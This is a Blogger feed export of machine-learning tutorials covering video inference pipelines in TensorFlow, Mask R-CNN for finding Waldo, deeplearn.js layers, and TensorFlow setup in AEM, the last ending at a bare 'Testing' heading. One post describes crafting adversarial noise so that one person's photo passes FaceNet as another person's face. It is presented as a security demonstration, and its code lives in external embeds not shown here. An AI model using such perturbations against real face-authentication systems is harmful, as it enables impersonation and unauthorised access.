tag:blogger.com,1999:blog-62727338481894850062024-03-14T02:12:23.656-07:00Life plus LinuxAll about Machine Learning, Linux, Android, Web and of course LifeSuresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.comBlogger79125tag:blogger.com,1999:blog-6272733848189485006.post-4310353883620532162019-08-08T11:03:00.000-07:002019-08-08T11:03:06.117-07:00Neural network inference pipeline for videos in Tensorflow<div dir="ltr" style="text-align: left;" trbidi="on">
Just as we saw a huge influx of images in the past decade or so, we are now seeing a lot of videos being produced on social media. The need to understand and moderate videos using machine learning has never been greater.<br />
<div>
<br /></div>
<div>
In this post, I will show you how to build an efficient pipeline to processes videos in Tensorflow. For simplicity, let us consider a Resnet50 model pre-trained on Imagenet. Pretty straightforward, using <a href="https://keras.io/applications/">tf.keras.applications </a><br />
<br />
<script src="https://pastebin.com/embed_js/HwYjmfVs"></script>
<br />
Now, let us break it up to see what exactly is happening:<br />
<ol style="text-align: left;">
<li>We are loading the model with weights.</li>
<li>We are reading an image and resizing it to 224x224.</li>
<li>Do some preprocessing of the image.</li>
<li>Run inference.</li>
<li>Do some post processing. </li>
</ol>
<div>
<br />
If we want to do something similar for large videos, we need to have a pipeline that takes a stream of frames from the video, applies preprocess transformations, run inference of frames, unravel the inferences and apply post processing.<br />
<br />
We can see that doing all these in a sequence - frame by frame is clearly not the right thing as it is slow and inefficient. In order to tackle this, we will use<a href="https://www.tensorflow.org/api_docs/python/tf/data/Dataset"> tf.data.Dataset</a> and run inference in batch.<br />
<br />
First, lets create a generator that can produce frames from a video:<br />
<br />
<script src="https://pastebin.com/embed_js/Nq7gqVR8"></script><br />
We will use the <a href="https://www.tensorflow.org/api_docs/python/tf/data/Dataset#from_generator">tf.data.Dataset.from_generator</a> method to create a dataset object out of this.<br />
<br />
<script src="https://pastebin.com/embed_js/th5YZVGX"></script><br />
Now let us define a function which does resizing, normalization and other preprocessing steps that are required on a batch of frames. Then, using the batch operation on the dataset created above, create a batch of size 64. Map the preprocess method that we defined onto the batch in parallel on CPU as it is a CPU intensive task.</div>
<br />
<script src="https://pastebin.com/embed_js/XP6ENRHC"></script><br />
It is important to make sure that I/O is parallelized as much as possible. For best performance, instructions that are well suited for CPU should run on CPU and the ones suited for GPU should run on GPU. Also, If you observe the code above, we are prefetching. What this means is that, before consuming the dataset, a batch of 64 frames are preprocessed and is ready for consumption. By the time we run inference on a batch of frames, the next batch is ready for consumption. This is very important because, it ensures that we utilize CPU, GPU, I/O at its highest potential. Here, we are prefetching one unit at a time; and for your usecase, you may prefetch a different size. I always run nvidia-smi to tune the batch size, number of workers, prefetching etc so that both CPU and GPU are always in use in my job. <br />
<br />
<script src="https://pastebin.com/embed_js/Aavd7vRm"></script><br />
Let's put all of this together with running the actual inference: <br />
<br />
<script src="https://pastebin.com/embed_js/vKAn6feQ"></script><br />
This is all good, but what if you have some post processing that can be parallelized on CPU? That will keep the GPU idle till it is processed. So, let's make the inference step a generator that is part of the pipeline and feeds to a second dataset object. <br />
<br />
<script src="https://pastebin.com/embed_js/G965DFaP"></script><br />
I have used post processing to do things like writing to disk, data visualization, generating content etc that can be parallelized. This was a simple guide to design data pipelines for inference in Tensorflow. Here is the code to a sightly complicated architecture that generates a video output (observe how I pass on the original frame through the pipeline).<br />
<br />
<script src="https://pastebin.com/embed_js/MHUkmVXQ"></script><br />
More resources:<br />
<a href="https://www.tensorflow.org/guide/performance/datasets">https://www.tensorflow.org/guide/performance/datasets</a><br />
<a href="https://www.tensorflow.org/beta/guide/data">https://www.tensorflow.org/beta/guide/data</a> </div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-53050379331858872512018-06-13T22:51:00.000-07:002018-06-13T23:05:45.599-07:00Finding Where's Waldo using Mask R-CNN<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
When I was a kid, I really loved solving Where's Waldo. There were few books (it used to be called Where's Wally) in our school library on which I spent hours finding Waldo. For people who do not know what it is, basically Waldo - a unique character is hidden among hundreds of other characters and you have to find him in all the chaos in the image.<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
Now that I am too old to be solving it and too busy to spend hours on such things, I decided to build a system that uses deep learning to automatically solve it and spent weeks to build it. </div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div dir="ltr" style="text-align: left;" trbidi="on">
I started off by treating this like a classification problem with two classes - Waldo and not Waldo, similar to <a href="https://www.youtube.com/watch?v=ACmydtFDTGs">Hot dog - not Hot dog</a> . Once we can get the classification problem successfully solved, we can just apply a <a href="http://lifepluslinux.blogspot.com/2017/03/most-original-prize-at-2017-deep.html">classification action mapping</a> (CAM) layer to find Waldo's activations in the image and thus finding Waldo. However I couldn't find enough images of Waldo. I found this <a href="https://github.com/vc1492a/Hey-Waldo">repo</a> which has about 20 images. And as there are only 20 Waldo vs thousands of not-Waldo characters, there is very high imbalance in the classes. I still tried though. But the results weren't that great.</div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div dir="ltr" style="text-align: left;" trbidi="on">
When I looked if someone has already worked on it, I found a medium post which used Tensorflow's Faster R-CNN model to do this. But I didn't want to just find bounding boxes, I wanted to actually mask out Waldo in the image. But I got more images of Where's Waldo from it.<br />
<br />
Then I came across this <a href="https://arxiv.org/pdf/1703.06870.pdf">paper</a> on Mask R-CNN which sounded promising for this usecase. And it was indeed much better than my earlier approach:<br />
<br /></div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://i.imgur.com/c1THXma.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="670" data-original-width="800" height="536" src="https://i.imgur.com/c1THXma.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Waldo masked out in the image</td></tr>
</tbody></table>
<br /></div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://github.com/alseambusher/deepwaldo/raw/master/data/val/5.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" data-original-height="670" data-original-width="800" height="536" src="https://github.com/alseambusher/deepwaldo/raw/master/data/val/5.jpg" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Original Image</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
In this post I would like to share how I was able to get the data, tag it and train a model to be able to solve Where's Waldo. You can checkout my code on github here.<br />
<br />
<center>
<a class="btn" href="https://github.com/alseambusher/deepwaldo" style="color: white;">Fork deepwaldo on Github</a>
</center>
<br />
<h4 style="text-align: left;">
Mask R-CNN </h4>
</div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
The main idea here is to:<br />
<br />
<ol style="text-align: left;">
<li>Take the input image and pass it into a set of convolutional layers that sort of generates a <b>feature map </b>for the given image.</li>
<li>Now, you take this feature map and pass it into a <b>region proposal network </b>which generates rectangular regions that say that for the set of final classes, we might have an image in this region. This will have its own classification loss (rpn_class_loss) and bounding box loss (rpn_bbox_loss).</li>
<li>Now you take these regions and pass it into a ROI pooling layer using something like <b>non-max-suppression</b>.</li>
<li>The regions are then reshaped and passed on to set of convolution layers which predict if there is an object in them or not. This again will have its own classification and bounding box losses. </li>
<li>Now, you have a separate convolution layers which predicts, for every pixel in the bounding box predicted, is it the given class or not. This essentially gives the mask required. Here in addition to the bounding box and classification losses, we also have mask loss.</li>
<li>You run all these networks together backpropogating all the losses.</li>
</ol>
<div>
If you want a more clear explanation, checkout the <a href="https://youtu.be/nDPWywWRIRo?t=4074">lecture in CS231n</a>. </div>
<div>
<br /></div>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://i.imgur.com/FylwPsGl.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="" border="0" data-original-height="311" data-original-width="640" height="310" src="https://i.imgur.com/FylwPsGl.png" title="Mask R-CNN arch from CS-231n" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Mask R-CNN arch from CS231n (In this case we have a 28x28 mask instead of 14x14)</td></tr>
</tbody></table>
<h4 style="text-align: left;">
<br />
Data</h4>
<br />
As I mentioned earlier, I got 20 images from this <a href="https://github.com/vc1492a/Hey-Waldo">repo</a> and few more images from the medium post that used Faster R-CNN. So, a total of 29 images. I split this into 26 for training and 3 for validation. Then I used the <a href="http://www.robots.ox.ac.uk/~vgg/software/via/via.html">via-via</a> tool (used to tag VGG) to manually draw masks over Waldo in every image. You can find the images and annotations in my github repo <a href="https://github.com/alseambusher/deepwaldo/tree/master/data">here</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://i.imgur.com/O0nkzzs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="800" data-original-width="770" height="320" src="https://i.imgur.com/O0nkzzs.png" width="307" /></a></div>
<br />
<h4 style="text-align: left;">
Training</h4>
</div>
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
I trained the model for 30 epochs with 100 steps per epoch. The losses on tensorboard:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikm69nPOsqRnz3sbqcfdlamUKsAiv938OXQDwiAx9YRYB1HJ9q6v8dwbqTWgkmXC4uBNpAUW_dPmsTlV2oAAm771BAKOLnp1UI-mM7CxD7YVTNSG0ZNa2jVMY0ZLUDZ533bJJD_rHPxjE/s1600/Screen+Shot+2018-06-13+at+12.54.43+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="483" data-original-width="738" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikm69nPOsqRnz3sbqcfdlamUKsAiv938OXQDwiAx9YRYB1HJ9q6v8dwbqTWgkmXC4uBNpAUW_dPmsTlV2oAAm771BAKOLnp1UI-mM7CxD7YVTNSG0ZNa2jVMY0ZLUDZ533bJJD_rHPxjE/s320/Screen+Shot+2018-06-13+at+12.54.43+PM.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh09KemUOL3O6ixzgQQanxvvYyJvpNTXFVY7uQWlc-3aTHNkvZI9dQ12vZBnSfSdNqs8DXvL51lsKF7GqajIZd98yb-7nCDuZ75UeoN_x_yRYeg9Mf-vjWQ3PaAASW-LoBu_tmIJ1qzWdY/s1600/Screen+Shot+2018-06-13+at+12.54.57+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="478" data-original-width="738" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh09KemUOL3O6ixzgQQanxvvYyJvpNTXFVY7uQWlc-3aTHNkvZI9dQ12vZBnSfSdNqs8DXvL51lsKF7GqajIZd98yb-7nCDuZ75UeoN_x_yRYeg9Mf-vjWQ3PaAASW-LoBu_tmIJ1qzWdY/s320/Screen+Shot+2018-06-13+at+12.54.57+PM.png" width="320" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUNQZKPkSpoTGE0aYBuNCSfbz8z35_aXOgnskUGAte_hSlIWZN_YwCzJsB-_4mtPanQcQ_2vKVM-tsG5vHMpU1t5a4m4AlXv_Og6wKcxcGJZnq7ax0r2OIibhrbqBSwwh07jyaKqfYw54/s1600/Screen+Shot+2018-06-13+at+12.55.10+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="489" data-original-width="710" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUNQZKPkSpoTGE0aYBuNCSfbz8z35_aXOgnskUGAte_hSlIWZN_YwCzJsB-_4mtPanQcQ_2vKVM-tsG5vHMpU1t5a4m4AlXv_Og6wKcxcGJZnq7ax0r2OIibhrbqBSwwh07jyaKqfYw54/s320/Screen+Shot+2018-06-13+at+12.55.10+PM.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDnu0RFS2fw_07eg77fHieq9a9FTru3UrpbXm7FQCjwNkiR5Syjbufdr2AjBpJXnT8EhyphenhyphenMal5105vzwsQfuUm5ihX_22_Xp13Ypg8PJb2daqpo-jDz52tz8piGecdOmiiQUoA0vpSGrFU/s1600/Screen+Shot+2018-06-13+at+12.55.21+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="718" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDnu0RFS2fw_07eg77fHieq9a9FTru3UrpbXm7FQCjwNkiR5Syjbufdr2AjBpJXnT8EhyphenhyphenMal5105vzwsQfuUm5ihX_22_Xp13Ypg8PJb2daqpo-jDz52tz8piGecdOmiiQUoA0vpSGrFU/s320/Screen+Shot+2018-06-13+at+12.55.21+PM.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br />
If you want to train on your own dataset, first set your configurations in the <a href="https://github.com/alseambusher/deepwaldo/blob/master/waldo_config.py">waldo_config.py</a> file or use the default.<br />
<br />
This will download the Mask-RCNN model trained on coco dataset to the MODEL_DIR folder and trains a model with the data in the DATA_DIR folder.<br />
<div class="highlight highlight-source-shell" style="-webkit-text-stroke-width: 0px; box-sizing: border-box; color: #24292e; font-family: -apple-system, system-ui, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: 16px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin-bottom: 16px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
<pre style="background-color: #f6f8fa; border-radius: 3px; box-sizing: border-box; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow: auto; padding: 16px; word-break: normal; word-wrap: normal;">python train.py</pre>
</div>
For prediction, you can do the following which shows a popup with waldo detected in the image.<br />
<br />
<pre style="background-color: #f6f8fa; border-radius: 3px; box-sizing: border-box; color: #24292e; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 13.6px; line-height: 1.45; overflow: auto; padding: 16px; word-break: normal; word-wrap: normal;">python predict.py [MODEL PATH] [PATH TO IMAGE]
<span class="pl-c" style="box-sizing: border-box; color: #6a737d;"><span class="pl-c" style="box-sizing: border-box;">#</span> for example</span>
python predict.py models/logs/waldo20180612T1628/mask_rcnn_waldo_0030.h5 data/val/5.jpg</pre>
<br />
In conclusion, the Mask R-CNN algorithm works fairly well to find Waldo for cases where it has already seen similar type of waldo image. Also, it looks like it works much better when the image quality is good and waldo is clearly visible. But I think it is still great since we only had a very tiny training data to train on.<br />
<br />
<br /></div>
</div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-20671234168285760472018-01-23T14:36:00.000-08:002018-01-23T14:36:41.150-08:00Higher level ops for building neural network layers with deeplearn.js<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
I have been meddling with google's <a href="https://github.com/PAIR-code/deeplearnjs">deeplearn.js</a> lately for fun. It is surprisingly good given how new the project is and it seems to have a sold <a href="https://deeplearnjs.org/docs/roadmap.html">roadmap</a>. However it still lacks something like<i> tf.layers</i> and <i>tf.contrib.layers</i> which have many higher level functions that has made using tensorflow so easy. It looks like they will be added to <a href="https://deeplearnjs.org/docs/api/classes/graphlayers.html">Graphlayers</a> in future but their priorities as of now is to <a href="https://github.com/PAIR-code/deeplearnjs/issues/410">fix</a> the lower level APIs first - which totally makes sense.<br />
<br />
So, I quickly built one for <i>tf.layers.conv2d </i>and<i> tf.layers.flatten</i> which I will share in this post. I have made them as close to function definitions in tensorflow as possible.<br />
<br />
1. <i>conv2d</i> - Functional interface for the 2D convolution layer.<br />
<br />
<script src="https://gist.github.com/alseambusher/ed455b49524a716680b486c99c69161a.js"></script>
<b>Arguments</b>:<br />
<div style="text-align: left;">
</div>
<ul>
<li><b>inputs</b> Tensor input.</li>
<li><b>filters</b> Integer, the dimensionality of the output space (i.e. the number of filters in the convolution).</li>
<li><b>kernel_size</b> Number to specify the height and width of the 2D convolution window.</li>
<li><b>graph</b> Graph opbject.</li>
<li><b>strides</b> Number to specify the strides of convolution.</li>
<li><b>padding</b> One of "valid" or "same" (case-insensitive).</li>
<li><b>data_format</b> "channels_last" or "channel_first"</li>
<li><b>activation</b> Optional. Activation function which is applied on the final layer of the function. <b>Function</b> should accept Tensor and graph as parameters</li>
<li><b>kernel_initializer</b> An initializer object for the convolution kernel.</li>
<li><b>bias_initializer</b> An initializer object for bias.</li>
<li><b>name</b> string which represents name of the layer.</li>
</ul>
<div>
<div style="text-align: left;">
<b>Returns</b>:</div>
<br />
Tensor output.<br />
<br />
<b>Usage:</b><br /><br/>
<script src="https://gist.github.com/alseambusher/87d06f98c054eafd9d9f36438c12d74e.js"></script>
Add this to your code:</div>
<script src="https://gist.github.com/alseambusher/e8c2cee63d94ef119ff3a9a5ac72e212.js"></script>
<br/>
2. flatten - Flattens an input tensor. <br />
<br /></div>
<script src="https://gist.github.com/alseambusher/8694ad1eefbc68fd0082192958681c63.js"></script>
<br /></div>
I wrote these snippets while building a tool using deeplearnjs where I do things like loading datasets, batching, saving checkpoints along with visualization. I will share more on that in my future posts.
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-84599063481753184752018-01-11T15:29:00.000-08:002018-06-13T00:09:32.619-07:00Hacking FaceNet using Adversarial examples <div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div dir="ltr" style="text-align: left;" trbidi="on">
With the rise in popularity of face recognition systems with deep learning and it's application in security/ authentication, it is important to make sure that it is not that easy to fool them. I recently finished the 4th course on deeplearning.ai where there is an assignment which asks us to build a face recognition system - <a href="https://arxiv.org/abs/1503.03832" target="_blank">FaceNet</a>. While I was working on the assignment, I couldn't stop thinking about how easy it is to fool it with adversarial examples. In this post I will tell you how I managed to do it.<br />
<br />
First off, some basics about FaceNet. Unlike image recognition systems which map every image with a class, it is not possible to assign a class label to every face in face recognition. This is because one, there are way too many faces that a system should handle in the real world to assign class to each of them and two, if there are new people the system should handle, it can't do it. So, what we do is, we build a system that learns similarities and dissimilarities. Basically, there is a neural network similar to what we have in image recognition and instead of applying softmax in the end, we just take the logits as embedding for the given image input and then minimize something called the triplet loss. Consider face A, we have a positive match P and negative match N. If <i>f</i> is the embedding function and L is the triplet loss, we have this:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFQDvRMHXo7MUGzoKMrng0fAurNVx1vdZN9gS32TsAVHqoOHwiUsu-XdI7mxF2VEOKmd2xNs2pV9D1YZfUZJ-iDqqxRi8wuEk7F8awrPn07-EleE-ScMzqjXZ75AycdfTbOZmkm07nUis/s1600/IMG_20180111_224439__01.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="664" data-original-width="1600" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFQDvRMHXo7MUGzoKMrng0fAurNVx1vdZN9gS32TsAVHqoOHwiUsu-XdI7mxF2VEOKmd2xNs2pV9D1YZfUZJ-iDqqxRi8wuEk7F8awrPn07-EleE-ScMzqjXZ75AycdfTbOZmkm07nUis/s400/IMG_20180111_224439__01.jpg" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Triplet loss</td></tr>
</tbody></table>
<br />
Basically, it is incentivizing small distance between A - P and large distance between A - N. Also, I really recommend watching <a href="https://www.youtube.com/watch?v=CIfsB_EYsVI" target="_blank">Ian Goodfellow's lecture</a> from Stanford's CS231n course if you want to know about adversarial examples.<br />
<br />
Like I said earlier, this thought came to me while doing an assignment from 4th course from deeplearning.ai which can be found <a href="https://github.com/shahariarrabby/deeplearning.ai/blob/master/COURSE%204%20Convolutional%20Neural%20Networks/Week%2004/Face%20Recognition/Face%20Recognition%20for%20the%20Happy%20House%20-%20v3.ipynb" target="_blank">here</a> and I have built on top of it. The main idea here is to find small noise that when added to someone's photo although causing virtually no visual changes, can make faceNet identify them as the target.<br />
<br />
<div>
<br />
<br />
<br />
<br />
<figure>
<img border="0" data-original-height="252" data-original-width="254" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0XtSQCuiC1juA7O3MTdjLRURur37ulCH6orNKZXyZQNYf9P6PmX3fNqCGwB6syyZC_JYbuEa17RtHuatyal0kFZ8aIlOcdhzKTbFWPJPOxmgr5ENUUkxpp_BCw5BGpCCLxnjRLZie2y4/s200/img1.png" width="200" />
<figcaption>Benoit (attacker)</figcaption>
</figure>
<figure>
<img border="0" data-original-height="252" data-original-width="254" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw40euf8SxEO-n_KBs05N2rNzWzmaLDW2IB5RDP65EKjd5MpB2qtcn8dEs72vPsVpYBLR9n84iObAjpe0ZMhpZ_76FlcyGjMDloblPsvNVYhNv4yTuvO8Jwx0BR1HZwdO6A4C6208Sa4U/s200/noise.png" width="200" />
<figcaption>Add noise</figcaption>
</figure>
<figure>
<img border="0" data-original-height="252" data-original-width="254" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKePAPiM_EQXlxogq19CaeCutAtA7rUTkZS5thQAhqW5yrC9Yz-pG2hmEylPk7By2Wwx5XPsQ-9p_OCvQFsFuyZtW5_4Iumx2nTjSfESzk39QRR8gKXgbBJcs8v_8TwlCOaeIhXiy0ceE/s200/new.png" width="200" />
<figcaption>Kian</figcaption>
</figure>
<figure>
<img border="0" data-original-height="252" data-original-width="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZheGBV_hIZMC7NuKG3BaP_nSgMnhxrPrXG8z3H3-bl0SU9auLJztxG9PlhBgu9mK-cnVC5riDHL3RAimzNJiMpS1i_ZrtmRB7PSshhL_Lz4nXARlun7-VDTAWi2aH0msmqkhc60g7c-M/s200/kian+Actual.png" />
<figcaption>Kian Actual (Target)</figcaption>
</figure>
</div>
<br />
First lets load the images of the attacker Benoit and the target Kian.<br />
<br />
<script src="https://pastebin.com/embed_js/3sK7uMiB"></script><br />
Now say that the attacker image is A` and the target image is T. We want to define triplet loss to achieve two things:<br />
<br />
<ol style="text-align: left;">
<li>Minimize distance between A` and T</li>
<li>Maximize distance between A` and A` (original)</li>
</ol>
<div>
In other words the triplet loss L is:</div>
<div>
<br /></div>
<div style="text-align: center;">
<b>L (A, P, N) = L (A`, T, A`)</b></div>
<div style="text-align: left;">
<br /></div>
<div>
Now, let's compute the gradient of the logits with respect to the input image </div>
<br />
<script src="https://pastebin.com/embed_js/rxufJ7Uc"></script>
<br />
<div>
<br />
These gradients are used to obtain the adversarial noise as follows :</div>
<div>
<br /></div>
<div style="text-align: center;">
<b>noise = noise - step_size * gradients</b><br />
<br />
<div style="text-align: left;">
According to the assignment, a l2 distance of the embeddings of less than 0.7 indicates that two faces have the same person. So lets do that.</div>
<div style="text-align: left;">
<br /></div>
<script src="https://pastebin.com/embed_js/VUSGifs6"></script>
<br />
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The distance decreases from 0.862257 to 0.485102 which is considered enough in this case.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLSx2Trts3VasJEFRCOorXKG5uSnsnTVOi5-_on8uak3SG_tgf66S-XuCbtBJubnsMlXWmYAOVKT-caQNYOEDGaN3WQOPu_qsYTKMxgt6Ra1S4XzjqGQpPnx2OugTz7v1MDqNjngvBrG0/s1600/score.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="252" data-original-width="381" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLSx2Trts3VasJEFRCOorXKG5uSnsnTVOi5-_on8uak3SG_tgf66S-XuCbtBJubnsMlXWmYAOVKT-caQNYOEDGaN3WQOPu_qsYTKMxgt6Ra1S4XzjqGQpPnx2OugTz7v1MDqNjngvBrG0/s400/score.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">L2 distance between embeddings of attacker and target</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: left;">
This is impressive because, all this is done while not altering the image visibly just by adding a little calculated noise!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<script src="https://pastebin.com/embed_js/yuakKJLn"></script>
<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Also note that the l2 scores indicate that the generated image is more of Kian than Benoit in spite of looking practically identical to Benoit. So there you go, adversarial example generation for FaceNet.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /></div>
</div>
</div>
</div>
<style>
figure {
display: inline-block;
padding:0px;
margin:0px;
}
figure img {
vertical-align: top;
}
figure figcaption {
text-align: center;
font-size: 0.8em;
}
</style>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-25709881178598008702017-12-17T12:40:00.000-08:002017-12-20T09:50:48.635-08:00Tensorflow and AEM<div dir="ltr" style="text-align: left;" trbidi="on">
It has been a while since google released Tensorflow support for java. Even though it is still in its infancy, I feel like it has everything we need. Build computation graphs - check, run session and compute stuff - check, GPU support - check. Now if you have all the time in the world to reinvent the wheel, you can pretty much build anything in java that we can build using python or c++.<br />
<br />
<!--Hey! Yes. You. मला संदेश पाठव -->
So, I have been working on <a href="https://www.adobe.com/marketing-cloud/experience-manager.html" target="_blank">Adobe Experience Manager</a> since I joined Adobe and recently, I started experimenting with several use cases where machine learning can help in content creation and discovery. As I have zero knowledge in building any deep learning models in java, I decided to build everything in java. How hard can it be? Right? Right? Sarcasm aside, as I mentioned earlier, Tensorflow for java has everything we need and as it internally uses JNI we can have interoperability with python and c++ (that's why I preferred this over deeplearning4j).<br />
<br />
First off, I followed their <a href="https://www.tensorflow.org/install/install_java" target="_blank">official guide</a> for the setup and had to face a lot of hurdles along the way. In this post I will show you how I managed to successfully setup Tensorflow on AEM (or any felix based systems).<br />
<br />
<h4 style="text-align: left;">
Step 1</h4>
Add the dependency to your <span style="background-color: #eeeeee;">pom.xml</span> file. Note that the scope set to <span style="background-color: white;"><span style="color: #0b5394;"><i>compile</i></span></span>.<br />
<br />
<script src="https://pastebin.com/embed_js/0zgBUMi4"></script>
<br />
<h4 style="text-align: left;">
Step 2</h4>
Add this configuration to your <i>maven-bundle-plugin</i>.<br />
<br />
<script src="https://pastebin.com/embed_js/vU0Wgb0b"></script>
<br />
<h4 style="text-align: left;">
</h4>
<h4 style="text-align: left;">
Step 3</h4>
Build and install to your AEM instance. Then, navigate to <span style="background-color: #eeeeee;">/system/console/bundles/ </span>and look for the bundle which contains the dependency. See if the <i>"Exported Packages"</i> section has the following packages:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy_HmvDMtbNrj5uNgFnCIx4h5guPnDFl4svs4jD3y-kyqMiRyzDsuoumJWGCJ_KL7q5QraEWPOoKB_J-7Qzrs1KZlR_sZedvtwj9LsF1tU5mdS3iXj_cxdrnZd1DcSNlEH6zoUm4j-TVQ/s1600/Screen+Shot+2017-12-18+at+1.17.25+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="213" data-original-width="957" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy_HmvDMtbNrj5uNgFnCIx4h5guPnDFl4svs4jD3y-kyqMiRyzDsuoumJWGCJ_KL7q5QraEWPOoKB_J-7Qzrs1KZlR_sZedvtwj9LsF1tU5mdS3iXj_cxdrnZd1DcSNlEH6zoUm4j-TVQ/s400/Screen+Shot+2017-12-18+at+1.17.25+AM.png" width="400" /></a></div>
<br />
<h4 style="text-align: left;">
Step 4</h4>
Install JNI if necessary (this is mentioned in the link that I shared earlier).<br />
<br />
<script src="https://pastebin.com/embed_js/2J5MVjTS"></script>
Then place the library file in the appropriate place. <br />
<br/>
<h3 style="text-align: left;">
Testing </h3>
